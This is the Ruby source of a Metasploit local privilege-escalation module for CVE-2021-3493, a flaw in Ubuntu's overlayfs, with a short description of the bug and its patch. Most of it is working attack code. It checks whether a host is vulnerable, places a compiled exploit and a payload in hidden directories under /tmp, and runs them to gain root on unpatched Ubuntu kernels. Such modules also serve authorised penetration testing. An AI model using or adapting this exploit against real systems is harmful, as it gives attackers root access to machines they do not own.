This Metasploit module exploits a vulnerability in Ubuntu's implementation of overlayfs. The vulnerability is the result of failing to verify the ability of a user to set the attributes in a running executable. Specifically, when Overlayfs sends the set attributes data to the underlying file system via vfs_setxattr, it fails to first verify the data by calling cap_convert_nscap. This vulnerability was patched by moving the call to cap_convert_nscap into the vfs_setxattr function that sets the attribute, forcing verification every time the vfs_setxattr is called rather than trusting the data was already verified.
a18c1d7ce3668e27d4560690689b5d35##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Compile
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => '2021 Ubuntu Overlayfs LPE',
'Description' => %q{
This module exploits a vulnerability in Ubuntu's implementation of overlayfs. The
vulnerability is the result of failing to verify the ability of a user to set the
attributes in a running executable. Specifically, when Overlayfs sends the set attributes
data to the underlying file system via `vfs_setxattr`, it fails to first verify the data
by calling `cap_convert_nscap`.
This vulnerability was patched by moving the call to `cap_convert_nscap`
into the `vfs_setxattr` function that sets the attribute, forcing verification every time the
`vfs_setxattr` is called rather than trusting the data was already verified.
},
'License' => MSF_LICENSE,
'Author' => [
'ssd-disclosure',
'bwatters-r7' # Aka @tychos_moose, Metasploit Module
],
'DisclosureDate' => '2021-04-12',
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2021-3493' ],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/' ],
[ 'URL', 'https://github.com/briskets/CVE-2021-3493' ]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ ],
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Targets' => [
[
'x86_64',
{
'Arch' => [ ARCH_X64 ]
}
],
[
'aarch64',
{
'Arch' => [ ARCH_AARCH64 ]
}
]
],
'DefaultTarget' => 0
)
)
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check
arch = kernel_hardware
unless arch.include?('x86_64') || arch.include?('aarch64')
return CheckCode::Safe("System architecture #{arch} is not supported")
end
release = kernel_release
version = kernel_version
unless userns_enabled?
return CheckCode::Safe('Unprivileged user namespaces are not permitted')
end
vprint_good('Unprivileged user namespaces are permitted')
# If the target is Ubuntu...
unless version =~ /[uU]buntu/
return CheckCode::Safe('Target is not Ubuntu!')
end
version_array = release.split('-')
if version_array.length < 2
fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
end
vprint_status("Version array: #{version_array}")
major_version = Rex::Version.new(version_array[0])
vprint_status("major_version: #{major_version}")
minor_version = version_array[1]
vprint_status("minor_version: #{minor_version}")
lower_bound_version = Rex::Version.new(3.13)
upper_bound_version = Rex::Version.new(5.14)
if major_version > upper_bound_version || major_version < lower_bound_version
return CheckCode::Safe("The target version #{major_version} is outside the vulnerable version range #{lower_bound_version}-#{upper_bound_version}")
end
return CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with(Failure::None, 'Session already has root privileges. Set ForceExploit to override.')
end
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
executable_name = ".#{rand_text_alphanumeric(5..10)}"
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
exploit_path = "#{exploit_dir}/#{executable_name}"
if file_exist?(exploit_dir)
fail_with(Failure::BadConfig, 'Exploit dir already exists')
end
mkdir(exploit_dir)
register_dir_for_cleanup(exploit_dir)
# Upload exploit
arch = kernel_hardware
vprint_status("Detected architecture: #{arch}")
if (arch.include?('x86_64') && payload.arch.first.include?('aarch')) || (arch.include?('aarch') && !payload.arch.first.include?('aarch'))
fail_with(Failure::BadConfig, 'Host/payload Mismatch; set target and select matching payload')
end
if live_compile?
vprint_status('Live compiling exploit on system...')
upload_and_compile(exploit_path, exploit_source('CVE-2021-3493', 'cve_2021_3493.c'))
else
vprint_status 'Dropping pre-compiled exploit on system...'
if arch.include?('x86_64')
precompiled_binary = 'cve_2021_3493.x64.elf'
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
elsif arch.include?('aarch64')
precompiled_binary = 'cve_2021_3493.aarch64.elf'
vprint_status("Dropping pre-compiled exploit #{precompiled_binary} on system...")
upload_and_chmodx exploit_path, exploit_data('CVE-2021-3493', precompiled_binary)
else
fail_with(Failure::NoTarget, "Unknown architecture: '#{arch}'")
end
end
register_file_for_cleanup(exploit_path)
# Upload payload
payload_path = "#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
# Launch exploit
print_status('Launching exploit...')
random_string = rand_text_alphanumeric(5..10)
cmd_string = "#{exploit_path} #{payload_path} #{exploit_dir} #{random_string}"
vprint_status("Running: #{cmd_string}")
begin
output = cmd_exec(cmd_string)
vprint_status(output)
rescue Error => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error("Exploit failed: #{e}")
ensure
# rmdir() fails here on mettle payloads, so I'm just shelling out the rm for the exploit directory.
cmd_exec("rm -rf '#{exploit_dir}'")
end
end
end